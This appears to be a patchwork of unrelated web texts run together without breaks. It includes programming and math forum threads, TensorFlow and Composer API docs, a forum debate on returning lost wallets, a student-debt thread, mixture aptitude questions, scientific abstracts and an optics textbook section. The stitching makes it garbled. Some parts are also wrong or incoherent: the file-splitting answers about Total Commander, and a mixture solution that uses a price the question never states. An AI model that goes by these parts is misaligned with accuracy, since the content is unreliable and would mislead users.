The dots are labeled 1 through x+1. (x, y, and z are constants) A few additional specifications are that if dot 1 is placed at (0,1) and dot 6 is placed on (5,6); and in another instance if dot 6 is placed on (0,1) and dot 1 is placed on (5,6), then they are TWO different combinations. Additionally, two dots cannot be placed on the same point. This probably sounds ridiculous, but I am doing this to try to solve for all possible combinations in a game I am making, so I can solve my game, in a sense. I don't really even know where to start, I would assume it would be a large nested for loop mess, but I really can't think of anything that would work. If anyone could help me out, that would be greatly appreciated. I know this is hard (for me anyway), so definately rating++ to someone who helps. Thank you, Dev578 ##### Share on other sites As near as I can tell, the number of different permutations you have is (y * z)!/(y * z - x)! This can be a really, really big number. Are you sure you need to find all the permutations? ##### Share on other sites Yes, it's a permutation problem--akin to 'arrange x objects in y*z places'. That's y*zPx = (y*z)! / (y*z - x)! as SiCrane mentioned. By the way, if the dots are labelled 1 through x+1 that makes x+1 dots in total. Just wanted to warn you, in case you plan to put that on the cover of the box of your game. [lol] /edit: An important thing I forgot to mention--this assumes that all the dots are actually placed on the grid. If the number of dots placed is variable, then you are in an even bigger soup. Total permutations = SUM (n = 0 to x) y*zPn or something like that. ##### Share on other sites Thank you, now that I know what it is called, I found a few articles on it that I am reading through. FYI, this is not going to be part of the game, it is separate, just so I can calculate all the possibilities and spit out the best solution. And yes, I understand that this will take awile to iterate through:) Rating++, and thank you. Dev578 ##### Share on other sites Assuming x,y, and z are reasonable, you can use a recursive backtracking algorithm to generate all placements. int grid[y][z];void BackTrack(int depth){ if(depth == x) { //a solution has been found } else { for(int i = 0; i < y; ++i) { for(int j = 0; j < z; ++j) { if(grid[j] == 0) { grid[j] = depth+1; BackTrack(depth+1); grid[j] = 0; } } } }}//main, or some other section of your codeint main(){ intialize grid to all 0's BackTrack(0); return 0;} As has already been said, this task quickly becomes too large. If I knew more about your game, I may be able to give a better solution. [Edited by - Forcas on December 4, 2005 6:18:12 PM] • 9 • 13 • 40 • 15 • 11

# tf.squeeze(input, axis=None, name=None, squeeze_dims=None) ### tf.squeeze(input, axis=None, name=None, squeeze_dims=None) See the guide: Tensor Transformations > Shapes and Shaping Removes dimensions of size 1 from the shape of a tensor. Given a tensor input, this operation returns a tensor of the same type with all dimensions of size 1 removed. If you don't want to remove all size 1 dimensions, you can remove specific size 1 dimensions by specifying axis. For example: # 't' is a tensor of shape [1, 2, 1, 3, 1, 1] shape(squeeze(t)) ==> [2, 3] Or, to remove specific size 1 dimensions: # 't' is a tensor of shape [1, 2, 1, 3, 1, 1] shape(squeeze(t, [2, 4])) ==> [1, 2, 3, 1] #### Args: • input: A Tensor. The input to squeeze. • axis: An optional list of ints. Defaults to []. If specified, only squeezes the dimensions listed. The dimension index starts at 0. It is an error to squeeze a dimension that is not 1. • name: A name for the operation (optional). • squeeze_dims: Deprecated keyword argument that is now axis. #### Returns: A Tensor. Has the same type as input. Contains the same data as input, but has one or more dimensions of size 1 removed. #### Raises: • ValueError: When both squeeze_dims and axis are specified. Defined in tensorflow/python/ops/array_ops.py.

# Path Integral problems • May 5th 2009, 10:10 PM monster Path Integral problems Have a problem that i have had a go at but am completely unsure if am anywhere near on the right track any help would be appreciated. Evaluate the path integral; $ \int_{C} f . ds $ Where f = xy; And the path C is the part of the circle centred at the origin starting at (0,2) going anticlockwise ending at (-2,0). I did that x=2cost, y=2sint; so that c(t) = (2cost , 2sint), where 0< t < pi/2 then did; $ \int f.ds = \int c(t).[c'(t)].dt $ but am not sure i have set this up properly am a bit lost here. • May 5th 2009, 10:41 PM redsoxfan325 Quote: Originally Posted by monster Have a problem that i have had a go at but am completely unsure if am anywhere near on the right track any help would be appreciated.

Well, one thing that's a bit unclear is that you have $f(x,y)=xy$, yet you are only parameterizing two variables. I think you want $c(t)=(2\cos(t),2\sin(t),0), \frac{\pi}{2}\leq t\leq \pi$ • May 5th 2009, 11:02 PM TwistedOne151 Actually, I think the first problem is in the limits for t. As you go from (0,2) to (-2,0), that is, with $c(t)=(2\cos{t},2\sin{t})$, then $\frac{\pi}{2}\le{t}\le\pi$. Next $x(t)=2\cos{t}$, and $y(t)=2\sin{t}$, so $f(c(t))=xy=4\sin{t}\cos{t}$. And since this is the line integral of a scalar function, ds is the arc length parameter: $ds^2=dx^2+dy^2$, so in terms of t, $ds=\sqrt{\left(\frac{dx}{dt}\right)^2+\left(\frac{ dy}{dt}\right)^2}\,dt=\sqrt{(-2\sin{t})^2+(2\cos{t})^2}\,dt$ $ds=\sqrt{4\sin^2{t}+4\cos^2{t}}\,dt=2\,dt$ and you have $\int_{\pi/2}^{\pi}(4\sin{t}\cos{t})2dt=8\int_{\pi/2}^{\pi}\sin{t}\cos{t}\,dt$. --Kevin C. • May 5th 2009, 11:03 PM redsoxfan325 Quote: Originally Posted by redsoxfan325 Well, one thing that's a bit unclear is that you have $f(x,y)=xy$, yet you are only parameterizing two variables.

PRESENT is 70 years oldValued Senior Member Messages: 9,286 Like going into a cop shop and saying "I'm a thief and I am here to steal something" 8. ### geordiefValued Senior Member Messages: 1,368 Anecdotally (no numbers) I have been surprised on a few occasions when the wallet I have mislaid (incidentally containing a large proportion of my total wealth at the time) has been returned to me after I had quickly given up hope because I expect the same (sadly lacking) degree of honesty in others as myself. On one occasion my weekly wage fell out from my back pocket whilst riding to work on a bike and the finder went out of his or her way to return it to the caravan site where most of us were staying. Sometimes when the roles are reversed I too go out of my way to return money like that but sometimes I rationalize the situation in that I am handing over the money to a shop assistant who is just as likely to keep it as myself (and so I have kept them) On one occasion I worked for a season and ,returning home put all my cash in my bank account but it wasn't my bank. After some time I realized what I had done and rang up the bank I guessed I must have handed it in to . Yes they said ,we have it .It is in a "floating account" I could give other examples of honesty I have encountered from corporations which have made me feel petty since I did not expect that treatment. From another pov I was just watching "Les Miserables" and the way the priest treated the ex convict who stole silverware from him was very moving. I realize that the the church had a privileged status then and that the police would accord them undue respect but you can only play with the hand you have... 9. ### SeattleValued Senior Member Messages: 6,008 You could devise a test and derive numbers/statistics from it. It would have to be a very well constructed test however to get much meaning from it (for the reasons that have been discussed). Most people would return it with all the money intact if it was easy to return but you already know that. Reading any more into it would not be meaningful without a lot of other information about the person who found the wallet. I had my wallet stolen while I was on a public bus in Honduras. I also was walking out of an inexpensive hotel in Mexico and the lady called me back to hand me $.50 because her son had overcharged me by$.50. Just yesterday I got an email letting me know that a company was refunding my account $3.00 (unasked for by me) because I ordered some small plastic parts and paid for shipping and then a day later ordered a few more parts and paid for shipping. When everything arrived it arrived at the same time in one package. They were refunding me for one of the shipping charges. My point, poor people in some circumstances may steal your wallet, or refund your$.50 and companies may overcharge you, scam you or refund your \$3.00 without being asked. If you are a tourist in a very poor area and you lose your wallet you probably aren't getting it back if you lost it on the street. You can't really draw a lot of conclusions from that. If your wallet falls behind a chair in your hotel room you will probably get it back. If that same person (maid) who returned the wallet from your room, may not return it if it is found on the street. If their child is starving at home, they may not return it if they find it in your room. 10. ### BowserNamasteValued Senior Member Messages: 8,828 Desperation might twist your arm into crime.

Messages: 4,992 60% 15. ### DaveC426913Valued Senior Member Messages: 14,613 Can you give some examples of where you're going with that? The question started after I saw a video of some normal-looking pedestrian traipsing down a sidewalk veer off and pinch a package from someone's porch. It got me thinking how many "otherwise law-abiding people" will turn criminal if the opportunity arose. 16. ### wegsMatter & Pixie DustValued Senior Member Messages: 6,731 I ask because I don't think that a switch flips, and an otherwise ''good'' person would abscond with an abandoned wallet that he/she stumbles upon while walking down the street. The question becomes (for me) if you could get away with committing a crime, would you do it? If the answer is yes, then somewhere along the way, that lack of good judgement probably shows itself in other areas. 17. ### DaveC426913Valued Senior Member Messages: 14,613 Others here would disagree. I got a lot of feedback of the form "many otherwise law-abiding people, when fallen upon hard times, will seize opportunities they otherwise would not."

We could come up with every scenario out there to justify bad behaviors. Unless it's an offense against us, then we wouldn't apply those same justifications. lol Human nature is fickle. 19. ### DaveC426913Valued Senior Member Messages: 14,613 Well, the thread is really about what are the chances - if you were to take a cross-section of 100 people from, say, Canada/US - that some would commit a crime of opportunity. How many out of 100? Several people have pointed out that it's a pretty intractable problem. Criminals versus law-abiders is not a binary choice, and people don't stay fixed. 20. ### Gawdzilla SamaValued Senior Member Messages: 3,864 Me, and a few others. But mostly just me. 21. ### RainbowSingularityValued Senior Member Messages: 4,992 look at 2 things 1 the incidence of people who will return money when they find it and there is no one around to notice 2 the cultural norm of how people explain away the theft of things that have been left-behind or dropped by someone and the "a fool & their money, scam related concepts " are normalised into acceptable moral conduct processes. while the moral & social code defines a larger percentage of people who expect people should be punished for being to gullible or forgetful, there is a larger group who seek to "do the right thing" for their own moral conscience" which swing the balance back toward the center a bit. many things in life are not fair. taking advantage of others when the situation presents its self is called capitalism and initiative & ambition. however that is most often explained away to become something ethereal when in a corporate context to side with the company being stolen from as a legitimate victim that should never be punished for being lazy or forgetful. unlike the private citizen and their money and assets. groups, group norms, social group behaviour, spectator effect... its a long study into human psychology which is not entirely good news for a semi ambivalent child like mind bent toward brutal honesty and personal cost leveraging "do the right thing" type actions. countrys that have a higher standard of living have a much more honest society. people can afford to be honest and afford to spend money to give things back to others and help less fortunate people out. it is no surprise that illegal financial immigrants wish to target such society's to exploit them by becoming a low level criminal. they see it as a society that throws away money because they make criminality so easy. 22. ### RainbowSingularityValued Senior Member Messages: 4,992 unfortunately for your own perspective, you are wrong statistically. some places well known for returning such items like japan have tourists from other countrys who will steal such things tipping the scales a bit. transient social groups also have larger rates of anti-social behaviour. vastly more pollution & littering & damaging of public property what it is called is "human behaviour" when in a group even though it may be very large, if you found a lost expensive cell phone and kept it, all your friends would see you with it. thus the process of theft of a lost item changes in its ability to be carried out. you need to be able to separate those processes of forced compliance against random acts of human behaviour as emotional processes of material interaction. domestic violence is probably a far better standard statistical simile for comparative data volume. how many people break , steal , sell , damage their partners stuff intentionally ? that is the same thing as stealing yes it does but not in ways that would make sense to most people eugenics/nazi-ism/genocide/racism ... there are some very nasty normalisers talking bs about this aspect of human behaviour to justify psychopathic fascism.

When we upload very large images (2mb or larger apiece), the estimated processing time is waaaay off. It says stuff like an hour and a half to do the processing, when it only takes a few seconds.

When we upload very large images (2mb or larger apiece), the estimated processing time is waaaay off. Let me describe the reason of it. The estimation of required time is based on thumbnail resizing speed as well as on connection speed. Before the upload Image Uploader resizes all images. At that moment it knows the speed of resizing but knows nothing about the upload speed. That's why it has to take into account some average value of upload speed. Later after upload starting it corrects the estimated time using real upload speed.Do you receive the wrong estimated time during "Prepairing data..." stage?

I would much rather that it did not show any time estimate until it starts uploading. Is there a way to make it only say "Preparing photos for upload" during the preparation stage, and then only show the estimate once it starts uploading? The way it is now, I can see our users saying "I'm not waiting an hour and a half to upload my photos!!" and clicking cancel. This is bad user interface design, IMO. Bob_J #8 Posted : Tuesday, August 29, 2006 5:54:27 AM(UTC) Rank: MemberGroups: Member Joined: 3/20/2006(UTC)Posts: 30 Guys, there's got to be a way to turn off the time estimate during the image processing. It's telling people that it will take 3 hours or longer to process the photos, when it actually only takes a minute. This looks really awful -- people are saying "I don't want to wait 3 hours to upload this!" and clicking cancel.

We will implement the ability to change the Estimated Time string while preparing and uploading. For example one will be able to set the value “Preparing…” when the Progress event is fired with status “START” or “PREPARE” and set the value “Uploading…” when the status is “UPLOAD”. This feature will be available in one of our future releases (both ActiveX and Java versions). If you want this feature to be implemented earlier feel free to write to sales@aurigma.com.

시간 제한 메모리 제한 제출 정답 맞은 사람 정답 비율 3 초 512 MB 4 3 3 75.000% ## 문제 For an integer sequence a1,a2,…,an we define its monotonicity scheme as the sequence s1,s2,…,sn-1 of symbols <, > or -. The symbol si represents the relation between ai and ai+1. For example, the monotonicity scheme of the sequence 2,4,3,3,5,3 is <, >, =, <, >. We say that an integer sequence b1,b2,…,bn+1 with monotonicity scheme s1,s2,…,sn, realizes another monotonicity scheme s’1,s’2,…,s’k if for every i=1,2,…,n it holds that si=s'((i-1) mod k) + 1. In other words, the sequence s1,s2,…,sn can be obtained by repeating the sequence  s’1,s’2,…,s’k and removing appropriate suffix from that repetition. For example, the sequence 2,4,3,3,5,3 realizes each and every one of the following schemes: • <,>,= • <,>,=,<,> • <,>,=,<,>,<,<,= • <,>,=,<,>,=,>,> as well as many others. An integer sequence a1,a2,…,an and a monotonicity scheme s1,s2,…,sk are given. Your task is to find the longest subsequence ai1,ai2,…,aim (1 ≤ i1 < i2 < … < im ≤ n) of the former that realizes the latter. ## 입력 The first line of the standard input holds two integers n and k (1 ≤ n ≤ 20,000, 1 ≤ k ≤ 100), separated by a single space, denoting the lengths of the sequences (ai) and monotonicity scheme (sj) respectively. The second input line gives the sequence (ai), i.e, it holds n integers ai separated by single spaces (1 ≤ ai ≤ 1,000,000). Finally, the third lines gives the monotonicity scheme (sj), i.e., it holds k symbols sj of the form <, > or = separated by single spaces. ## 출력 In the first line of the standard output your program should print out a single integer m, the maximum length of a subsequence of a1,a2,…,an that realizes the scheme s1,s2,…,sk. In the second line it should print out any such subsequence ai1,ai2,…,aim, separating its elements by single spaces. ## 예제 입력 7 3 2 4 3 1 3 5 3 < > = ## 예제 출력 6 2 4 3 3 5 3

category theory # Contents ## Definition For $C$ a category, a class $K \subset Mor(C)$ of morphisms in $C$ is said to satisfy 2-out-of-3 if for all composable $f,g \in Mor(C)$ we have that if two of the three morphisms $f$, $g$ and the composite $g \circ f$ is in $K$, then so is the third. $\array{ \\ {}^{\mathllap{f}}\nearrow \searrow^{\mathrlap{g}} \\ \stackrel{g \circ f}{\to} } \,.$ So in particular this means that $K$ is closed under composition of morphisms. This definition has immediate generalization also to higher category theory. For instance in (∞,1)-category theory its says that: a class of 1-morphisms in an (∞,1)-category satisfies two out of 3, if for every 2-morphism of the form $\array{ & {}^{\mathllap{}f}\nearrow &\Downarrow^{\simeq}& \searrow^{\mathrlap{g}} \\ &&\stackrel{h}{\to}&& }$ we have that if two of $f$, $g$ and $h$ are in $C$, then so is the third. ## Examples Revised on May 22, 2012 08:54:22 by Anonymous Coward (98.223.186.49)

# Fater Iterative Shrinking Threshold Algorithm Posted by GwanSiu on October 27, 2018 ## 1. Introduction: Proximal Mapping The definition of proximal mapping of convex function $h$ is: ## 2. Faster Iterative Shrinking Threshold Algorithm The basic idea of the iterative shrinkage algorithm is to build at each iteration a regularization of the linearized differentiable function part in the objective. We consider the following general formualtion: $g:\mathcal{R}^{n}\rightarrow\mathcal{R}$ is a continuous convex function but is possibly non-smooth. $f:\mathcal{R}^{n}\rightarrow\mathcal{R}$ is a smooth convex function such that Lipschitz continuous gradient $L(f)$: where $\Arrowvert \cdot\Arrowvert$ denotes the euclidean distance and $L(f)$ is the Lipschitz constant of $\nabla f(x)$. For any $L>0$, we use quadratic upper bound to approximate $F(x)=f(x)+g(x)$ at a given point $y$: thus, we can use proximal gradient method to compute the minimum value of $Q(x,y)$: In bothe ISTA and FISTA, update point $x_{k}$ is computed by proximal gradient method: Faster iterative shrink threshold alorithm is shown as below:

# CosineAnnealingWarmRestartsScheduler# class composer.optim.CosineAnnealingWarmRestartsScheduler(t_0, t_mult=1.0, alpha_f=0.0)[source]# Cyclically decays the learning rate according to the decreasing part of a cosine curve. This scheduler is based on CosineAnnealingWarmRestarts from PyTorch. This scheduler resembles a regular cosine annealing curve, as seen in CosineAnnealingScheduler, except that after the curve first completes t_0 time, the curve resets to the start. The durations of subsequent cycles are each multiplied by t_mult. Specifically, the learning rate multiplier $$\alpha$$ can be expressed as: $\alpha(t) = \alpha_f + (1 - \alpha_f) \times \frac{1}{2}(1 + \cos(\pi \times \tau_i))$ Given $$\tau_i$$, the fraction of time elapsed through the $$i^\text{th}$$ cycle, as: $\tau_i = (t - \sum_{j=0}^{i-1} t_0 t_{mult}^j) / (t_0 t_{mult}^i)$ Where $$t_0$$ represents the period of the first cycle, $$t_{mult}$$ represents the multiplier for the duration of successive cycles, and $$\alpha_f$$ represents the learning rate multiplier to decay to. Parameters • t_0 (str | Time) – The period of the first cycle. • t_mult (float) – The multiplier for the duration of successive cycles. Default = 1.0. • alpha_f (float) – Learning rate multiplier to decay to. Default = 0.0.

# Student Debt, feasibility & plan to repay 1. Aug 12, 2015 ### Ritzycat I'll be starting my undergrad this fall. As of now I will probably start majoring in physics. Nonetheless I expect to stay within the area of science. If I've done the math right I'll probably have 43K in debt. Of that 43k, 8k is federal unsubsidized loans with 4.29% interest rate, (will accumulate interests starting when I take it out), 16k is a private loan from my school, and it will not accumulate interest while I am at my undergrad school (4 years) but will begin to do so when I leave. 19k is federal subsidized loan with 4.29% interest rate, which will not accumulate interest until I'm done with school altogether (undergrad + possible phd). If a PhD is a possible path I am considering, is this amount of debt feasible for a possible PhD student? I suppose for the sake of simplification, I could only worry about 24k of the debt while I am in graduate school, since that will be the portion that accumulates interest at the time. A few more questions: 1. If you live frugally, do PhD students usually have enough to pay part of their undergrad loans off? 2. Is it feasible for PhD students to take a part-time job (maybe 10 hours a week) or is the time better dedicated towards the degree? I know its quite far down the line but I like to outline any possible paths I am possibly taking so I can assess their viability, or if its just a pipe dream. Thanks! 2. Aug 12, 2015 ### Dr. Courtney Borrowing money for school is a bad plan, especially for four years at a bigger, expensive school. I recommend attending a less expensive school, at least for the first two years. Attending a cheap school and live at home can save many thousands in eventual debt. You can transfer for your last two years to complete the degree from the desired school. Repaying debt by frugal living during grad school might be a viable option, but some places are much cheaper to live than others. It depends on the drad student stipend and where you are living. It is much harder in big cities where costs of living are high and much harder if one has family obligations beyond a working spouse. Being a grad student is a full time + job, especially if you have an RA or TA paying your tuition and stipend. 3. Aug 12, 2015 ### MarneMath I don't think it's really that feasible to work part-time during a PhD. Your PhD program is essentially your job. While sure you could probably be an uber driver and help out, it really wouldn't be significant. There's a few options here. 1. Work part time during your undergraduate and save the major of your money to pay off loans. Even working 20 hours at about 8 dollars an hour will help make a significant dent in your debt. 2. Take less classes (and wait longer to graduate) to work more and help cover the cost even more so. 3. National guard tuition assistance. Which is essentially 100 dollar drill paycheck + 5000 per year for school. Not much but eh. 4. Aug 12, 2015 ### Choppy I would start by assuming that you're already doing everything you can to minimize the debt you take on as an undergraduate. This includes: • taking on a part-time job, even as a high-school student and putting at least some of that money towards your undergraduate degree • working full-time during the summers • continuing to work part-time as an undergraduate student • doing what you can to minimize costs including factoring in the cost of your education into your choice of where to attend as well as the general cost of living • applying for every scholarship that you qualify for Once you get into graduate school the stipend and TA/RA is usually enough that you don't have to take on additional debt as a student. It's probably not enough that you can make a significant dent in your existing loans, other than perhaps paying off the interest. Having a part-time job as a graduate student is possible, but it comes with consequences. I had a part-time job as a PhD student and that brought in enough money that I could live on my own, buy a car, and save up for a down payment on a house. The down side was that I was working until about 3 or 4 am on the weekends, which made it very difficult to make it into the office bright and early on Monday mornings (I was one of those grad students who sauntered in at around 10:00 am). This delayed my graduation by about six months compared to my jobless peers. 5. Aug 12, 2015 Staff Emeritus $24K at 4.29% for ten years works out to$246.31 per month, or just under $3K per year. Can you afford that? Depends on the difference between your stipend and the cost of living, neither of which is known. (By the way, you should be able to calculate loan amortization yourself - if you can't, you have no business taking out any loan whatsoever). I agree that you can't easily work part time in grad school. I did about 10 hours per week for 10 weeks - for which I was very well compensated - and it almost killed me. A better strategy is to work as an undergrad. 6. Aug 12, 2015 ### Dishsoap You can defer your student loans for up to 6 years while you are in grad school, correct? 7. Aug 12, 2015 ### Ritzycat Thanks for all the responses. A few facts to clarify and answer questions: • I have been working a part-time job since May 2014. I asked them for full-time when summer began earlier this year but they wouldn't do it. So I've done 16-20 hours a week. I will try hard to find a full-time job to do during the summers I'm in college. • It's a bit too late in the process to change what I'm doing at this point, I accepted the offer months ago and I'm leaving for college next week. We can talk about all the different routes I could have taken then but there's no point talking about it. • I am not paying the full cost of my college in loans. Of the colleges I was accepted to, this one was the most affordable. Raw cost without any aid is$30,710/semester. I am receiving $12,393 in grants,$8,000 in academic scholarship, and $4,722 in loans per semester from the three loans I mentioned in the OP. So I pay$5,595 out of pocket each semester. All of this aid is valid for all 4 years. • I am doing federal work-study at my school this fall. I will get \$1,100 per semester, its like 8 hours a week. They do not allow freshmen to work more than 8 hours per week. The entirety of the work-study earnings will have to go to paying the school tuition. • All the money I earn will have to go towards covering the remaining cost of undergrad. My parents are contributing little to nothing to help with the costs. However, my mom has said she will be able to take out a loan on her 401K soon if need be, which I don't want her to have to do. She says she likes it because she is basically "paying herself back the interest". • I currently have enough savings to pay the first two semesters on this budget (ex. no even more loan which it seems I should avoid like the plague) • I can see myself living very frugally. Being a natural recluse and abomination of nature, I rarely go out to eat/see movies/parties and I will probably never find a significant other, let alone someone who will extort money from me. Will I still be able to pay an internet bill? That's all I need! Although my question remains: is this path even available to me? Is it impossible to go to grad school on this much debt or are there too many unknown factors to make that assertion (stipend, cost of living)?? Will I Die Federal Subsidized Loans can be deferred. Over the course of 4 years, the maximum an undergraduate student can take out is 19,000 in federal subsidized loans, which I am doing. They are the best deal on any student loans hence why I maxed those out first.

16 Q: # Tea worth Rs. 126 per kg are mixed with a third variety in the ratio 1: 1 : 2. If the mixture is worth Rs. 153 per kg, the price of the third variety per kg will be A) Rs. 169.50 B) Rs.1700 C) Rs. 175.50 D) Rs. 180 Answer:   C) Rs. 175.50 Explanation: Since first second varieties are mixed in equal proportions, so their average price = Rs.(126+135/2) = Rs.130.50 So, the mixture is formed by mixing two varieties, one at Rs. 130.50 per kg and the other at say, Rs. x per kg in the ratio 2 : 2, i.e., 1 : 1. We have to find x. Cost of 1 kg tea of 1st kind         Cost of 1 kg tea of 2nd kind x-153/22.50 = 1  => x - 153 = 22.50  => x=175.50. Hence, price of the third variety = Rs.175.50 per kg. Q: 640 ml of a mixture contains milk and water in ratio 6:2. How much of the water is to be added to get a new mixture containing half milk and half water ? A) 360 ml B) 320 ml C) 310 ml D) 330 ml Answer & Explanation Answer: B) 320 ml Explanation: Here total parts of milk and water in the solution is 6+2 = 8 parts 1part = 640/8 = 80 old mixture contains 6parts of milk and 2 parts of water(6:2). To get new mixture containing half milk and half water, add 4parts of water to the old mixture then 6:(2+4) to make the ratio same. i.e, 4 x 80 = 320 ml. 4 163 Q: Equal quantities of three mixtures of milk and water are mixed in the ratio 1:2, 2:3 and 3:4. The ratio of water and milk in the mixture is ? A) 193 : 122 B) 97 : 102 C) 115 : 201 D) 147 : 185 Answer & Explanation Answer: A) 193 : 122 Explanation: Given the three mixtures ratio as (1:2),(2:3),(3:4) (1+2),(2+3),(3+4) Total content = 3,5,7 Given equal quantities of the three mixtures are mixed, then LCM of 3, 5, 7 = 105 105/3 = 35 , 105/5 = 21 , 105/7 = 15 Now, the individual equal quantity ratios are (35x1, 35x2), (21x2, 21x3), (15x3, 15x4) (35,70), (42,63), (45,60) So overall mixture ratio of milk and water is 35+42+45 : 70+63+60 122:193 But in the question asked the ratio of water to milk = 193 : 122 2 142 Q: In a mixture of milk and water the proportion of water by weight was 75%. If in 60 gm of mixture 15 gm water was added, what would be the percentage of water ? (Weight in gm) A) 80% B) 70% C) 75% D) 62% Explanation: Water in 60 gm mixture=60 x 75/100 = 45 gm. and Milk = 15 gm. After adding 15 gm. of water in mixture, total water = 45 + 15 = 60 gm and weight of a mixture = 60 + 15 = 75 gm. So % of water = 100 x 60/75 = 80%. 5 127 Q: The amount of water (in ml) that should be added to reduce 9 ml lotion, containing 50% alcohol, to a lotion containing 30% alcohol is ? A) 6 ml B) 11 ml C) 15 ml D) 9 ml Answer & Explanation Answer: A) 6 ml Explanation: Let us assume that the lotion has 50% alcohol and 50% water. ratio = 1:1 As the total solution is 9ml alcohol = water = 4.5ml Now if we want the quantity of alcohol = 30% The quantity of water = 70% The new ratio = 3:7 Let x ml of water be added We get, $\inline \fn_jvn \small \frac{4.5}{4.5+x}=\frac{3}{7}$ => x=6 Hence 6ml of water is added. 3 178 Q: If a man buys 1 lt of milk for Rs.12 and mixes it with 20% water and sells it for Rs.15, then what is the percentage of gain ? A) 25% B) 30% C) 17% D) 19%

J. Issue Date: 1995 Publisher: Ohio State University Abstract: Biexponential decays are characterestic of fluorescence from the rovibrational levels of the $T {^{1}A_{2}} and V {^{1}B_{2}}$ states of $CS_{2}$. The longer-lived component is associated with continum-like emission. Biexponential decays first appear in the emission from rovibrational levels of the lower lying R state (The $B_{2}$ spin component of a $^{3}A_{2}$ electronic state.) The first biexponential behavior appears in decays from the (1, 6, 0) vibrational level at $T_{o} = 28,635 cm^{-1}$. Time delayed excitation scans show that the longer-lived component $(6-8 \mu s)$ is principally due to a weak, underlying type band. Decays from the (0, 9, 0) level at $T_{o} = 28,817 cm^{-1}$ and higher vibrational levels all require bi- or multiexponential fits. Delay scans for these levels show that the excitation spectra of the long-lived component closely mimic those of the short-lived one. Explanations for this similarity are considered.

It is also shown that if Φ does not satisfy the δ₂-condition, then $h⁰_{Φ}$ is not proximinal in $l⁰_{Φ}$ and the quotient space $l⁰_{Φ}/h⁰_{Φ}$ is not rotund (even if $l⁰_{Φ}$ is rotund). Weakly nearly uniform convexity and weakly uniform Kadec-Klee property are introduced and it is proved that a Banach space X is weakly nearly uniformly convex if and only if it is reflexive and it has the weakly uniform Kadec-Klee property. It is noted that the quotient space X/M with X and M as above is weakly nearly uniformly convex whenever X is weakly nearly uniformly convex.

Superclass:  Path Loss The path_loss_free_space object represents a free-space path loss model. Free-space path loss can be described entirely by three parameters: 1. the carrier wavelength $\lambda$ 2. the distance $d$ 3. the path loss exponent $\eta$ The path loss (or attenuation) stemming from a free-space path loss model can be deterministically written as where $G^2$ is the path gain and $1/G^2$ is the path loss. When $\eta = 2$, this is the classical Friis formula for path loss. Typically, $\eta \geq 2$ except in rare settings with significant clutter. Most often, $\eta \in [2,4]$. The path_loss_free_space object is a subclass of the path_loss object. ### Creating a Free-Space Path Loss Object A free-space path loss object path_loss_free_space can be created via p = path_loss.create('free-space') ### Key Properties The path_loss_free_space object inherits all properties of the path_loss object, the key ones being p.attenuation p.carrier_frequency p.carrier_wavelength p.propagation_velocity p.distance In addition to these, the path_loss_free_space object also has the property p.path_loss_exponent to capture the path loss exponent ($\eta$). ### Setting the Path Loss Exponent To set the path loss exponent of a free space path loss object p, use p.set_path_loss_exponent(ple) where ple is the path loss exponent (a traditionally positive number). ### Example Setup A typical path_loss_free_pace object setup looks something similar to p = path_loss.create() p.set_carrier_frequency(fc) p.set_propagation_velocity(vel) p.set_distance(d) p.set_path_loss_exponent(ple) ### Invoking a Realization To realize the path loss, use atten = p.realization() which, when appropriately setup, will return the attenuation atten for the given carrier wavelength, distance, and path loss exponent. Note that atten is related to the large-scale gain $G$ by simply atten $= G^{-2}$. ### Getting the Attenuation To get the realized attenuation of a path_loss_free_space object p, one can also use atten = p.get_attenuation() where atten is the attenuation of the path loss (power loss, linear scale). ### List of Properties The path_loss_free_space object contains the following properties: • path_loss_free_space.path_loss_exponent • path_loss_free_space.name • path_loss_free_space.type • path_loss_free_space.distance • path_loss_free_space.attenuation • path_loss_free_space.carrier_frequency • path_loss_free_space.carrier_wavelength • path_loss_free_space.propagation_velocity ### List of Methods The path_loss_free_space object contains the following methods: ### Methods Documentation #### compute_path_loss_attenuation() Computes the path attenuation (path loss) according to the free-space path loss (FSPL) formula. Usage: atten = compute_path_loss_attenuation() Return Values: atten — the path attenuation (path loss) (a power loss) Notes: The free-space path loss (FSPL) equation used is G = (lambda / (4*pi))^2 * (1/d)^ple, where G is the inverse path loss in terms of power. Back to methods #### create(type) Creates a path loss object of a specific type.

In this software, users can split file into different parts with different size. The base name for each output file is included. All files after that name will be created in the same directory. You can define the number of parts you want to split the file into. Also, the program can split by size or by parts. A: There is no such software yet but it is perfect for what you want for smaller files you can use Total Commander which will split a file into parts, keep only a part you want, rename the others, and then create a complete file, that’s exactly what you want to do. To run Total Commander you must have a.bat/.lnk file in the same directory as the Total Commander executable. You need the full version as you can’t run the trial version After reading that, I think it should be possible to create a file splitting script which you can place in a folder in the main Total Commander installation directory. Please also note that there are other ways of doing this, without needing to use Total Commander, e.g. cut Hope it helps A: As one of the commenters noted, you can use Total Commander. If you have downloaded the trial version, all it would take is to have a batch script (or a custom.bat file, if you prefer) in the same directory as the trial version. The process would look as follows: Open up Total Commander and select File -> Merge Files. If you have additional files in the same directory (like a batch script), the batch script’s name will be listed as one of the merge files, so you can select it. You should have the option to merge two files, or merge three to six files, depending on the number of files you have. When you enter the number of files you want to merge, the batch script will be created. 1.

# 1.6 Huygens’s principle Page 1 / 4 By the end of this section, you will be able to: • Describe Huygens’s principle • Use Huygens’s principle to explain the law of reflection • Use Huygens’s principle to explain the law of refraction • Use Huygens’s principle to explain diffraction So far in this chapter, we have been discussing optical phenomena using the ray model of light. However, some phenomena require analysis and explanations based on the wave characteristics of light. This is particularly true when the wavelength is not negligible compared to the dimensions of an optical device, such as a slit in the case of diffraction . Huygens’s principle is an indispensable tool for this analysis. [link] shows how a transverse wave looks as viewed from above and from the side. A light wave can be imagined to propagate like this, although we do not actually see it wiggling through space. From above, we view the wave fronts (or wave crests) as if we were looking down on ocean waves. The side view would be a graph of the electric or magnetic field. The view from above is perhaps more useful in developing concepts about wave optics    . The Dutch scientist Christiaan Huygens (1629–1695) developed a useful technique for determining in detail how and where waves propagate. Starting from some known position, Huygens’s principle    states that every point on a wave front is a source of wavelets that spread out in the forward direction at the same speed as the wave itself. The new wave front is tangent to all of the wavelets. [link] shows how Huygens’s principle is applied. A wave front is the long edge that moves, for example, with the crest or the trough. Each point on the wave front emits a semicircular wave that moves at the propagation speed v . We can draw these wavelets at a time t later, so that they have moved a distance $s=vt.$ The new wave front is a plane tangent to the wavelets and is where we would expect the wave to be a time t later. Huygens’s principle works for all types of waves, including water waves, sound waves, and light waves. It is useful not only in describing how light waves propagate but also in explaining the laws of reflection and refraction. In addition, we will see that Huygens’s principle tells us how and where light rays interfere. ## Reflection [link] shows how a mirror reflects an incoming wave at an angle equal to the incident 